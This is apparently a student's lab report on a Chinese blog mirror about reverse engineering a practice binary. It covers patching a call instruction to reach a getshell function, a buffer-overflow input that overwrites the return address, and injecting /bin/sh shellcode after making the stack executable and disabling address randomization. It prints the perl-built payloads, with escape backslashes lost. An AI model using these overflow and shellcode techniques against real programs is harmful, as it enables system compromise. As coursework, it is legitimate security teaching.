zoukankan      html  css  js  c++  java
  • 20175105王鑫浩 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解

    20175105王鑫浩 2019-2020-3 《网络对抗技术》Exp1 PC平台逆向破解

    任务一 手动修改机器指令,改变程序执行流程

    1. 通过共享文件夹将pwn1导入Kali虚拟机(导入三份,分别用于三个任务)
    2. 打开kali虚拟机终端,通过mkdir -p命令新建多级目录,通过cp命令将共享文件夹的pwn1复制到新建目录里
    1. 通过objdump -d pwn1 | more命令对pwn1反汇编
    2. 汇编指令出来后,回车查看更多,翻到getshellfoomain函数查看其地址,main函数call的地址是8048491foo函数的首地址,getshell的首地址是804847dcall的机器指令为e8 7dffffffe8call的机器指令,7dffffff0xffffff7d是关于eip寄存器地址的偏移地址即等于eip寄存器指令存放下条指令地址0x80484ba-目的地址0x8048491
    1. 现任务是将call的地址改为getshell的首地址804847d,所以应该将机器指令e8 7dffffff的地址部分换成0x80484ba-0x804847d=0xffffffc3c3ffffff,通过vi pwn1命令对pwn1文件进行编辑,可以看到文件内容是16进制,可以通过:%!xxd将文件内容转换成可以读懂的ASCII码
    1. 转换成ASCII码之后,通过输入/e8 7d可以查找main函数call指令的机器代码
    1. 将光标定位在7上按r输入c,光标定位在d上按r输入3,然后输入%!xxd -r将ASCII代码转换为16进制
    2. 输入:wq保存退出
    3. 此时再反汇编查看main函数中call的函数已经变为getshell
    1. 运行pwn1,主函数会调用getshell函数

    任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序

    1. 对备份的pwn1进行反汇编
    2. 可以看到,·main·函数为foo函数输入的预留空间为0x1c,即28字节,加上ebp寄存器的4字节,所以eip寄存器的值应为33-36字节的值
    1. 使用gdb pwn2命令调试程序,输入r运行,输入40个字符会发生缓冲区溢出,显示Segmentation Fault。其中的33-36个字符‘1234’会覆盖eip寄存器的值,用info r查看寄存器的值,eip寄存器0x34333231,若将eip寄存器的值构造为0804847d就可以在foo函数执行完回到main函数时进入到getshell函数
    1. 无法从键盘输入16进制的值,所以用perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input命令构造出16进制地址并将输入内容放进input文件里。地址应倒过来写,a是换行。
    2. 通过(cat input; cat ) | ./pwn2pwn2并将input里边的内容输入到pwn2运行的程序中,就可以跳到getshell函数中

    任务三 注入shellcode并执行

    1. 下载execstack
    1. 运行下列指令
    ```execstack -s pwn3``` 设置堆栈可执行
    
    ```execstack -q pwn3``` 查询文件的堆栈是否可执行,结果为X表示可执行
    
    ```more /proc/sys/kernel/randomize_va_space``` 查看随机化是否关闭
    
    ```echo "0" > /proc/sys/kernel/randomize_va_space``` 关闭随机化
    
    ```more /proc/sys/kernel/randomize_va_space``` 再次查看,结果为0证明已关闭
    

    1. 通过perl -e 'print "A" x 32;print"xd0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode构造老师给的shellcode,并将shellcode保存到input_shellcode
    2. 输入(cat input_shellcode;cat) | ./pwn3运行pwn3
    1. 再打开一个终端,在第二个终端中输入ps -ef | grep pwn3查看pwn3的进程号为3096
    2. 接下来通过gdb命令开始调试,输入attach 3096连接到pwn3进程,连接后输入disassemble foofoo函数进行反汇编查看foo函数return指令的地址为0x080484ae,然后输入break *0x080484ae在此处设置断点
    1. 在终端a中回车,程序会执行到断点处,在b终端输入c在断点处继续运行,此时输入info r esp查看esp寄存器的值为0xffffd21c 输入x/16x 0xffffd21c以16进制形式查看0xffffd33c地址后面16字节的内容是在最开始构造的input_shellcode里的内容,所以将shellcode注入地址为0xffffd33c+0x00000004=0xffffd340
    2. 通过perl -e 'print "A" x 32;print"x40xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode重新构造改完注入地址的input_shellcode,并输入(cat input_shellcode;cat) | ./pwn3运行pwn3,可以跳到构造的shellcode程序中

    问题回答及实验心得

    1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP汇编指令的机器码是"90"
    JNE汇编指令的机器码是"75"
    JE 汇编指令的机器码是"74"
    JMP汇编指令的机器码是"eb"
    CMP汇编指令的机器码是"39"

    2. “什么是漏洞,漏洞的危害?”

    答:我认为漏洞是在系统中无法避免的缺陷。漏洞的存在可能会对系统的保密性、可用性等安全属性造成危害。

    3. 实验心得:实验过程中,出现了虚拟机中无gdb指令存在的情况,且无法安装gdb,后来经过改写调用绝对地址而解决问题,使我进一步了解了Kali的工作原理。本次实验内容是我初步认识到通过反汇编可以改写程序调用的方法,对网络攻防第一次有了直接认识。

  • 相关阅读:
    centos下修改hosts文件以及生效命令
    CentOS 7 上安装(LAMP)服务 Linux,Apache,MySQL,PHP
    sqlserver下载地址及密匙
    npm/gulp/nodejs
    sp_addlinkedserver 跨服务器连接数据库查询
    sql使用临时表循环
    nodejs和npm
    扫描输入后自动定位到下一个输入框
    Unable to load the specified metadata resource
    mysql保存乱码(C#)
  • 原文地址:https://www.cnblogs.com/wxhblogs/p/12548868.html
Copyright © 2011-2022 走看看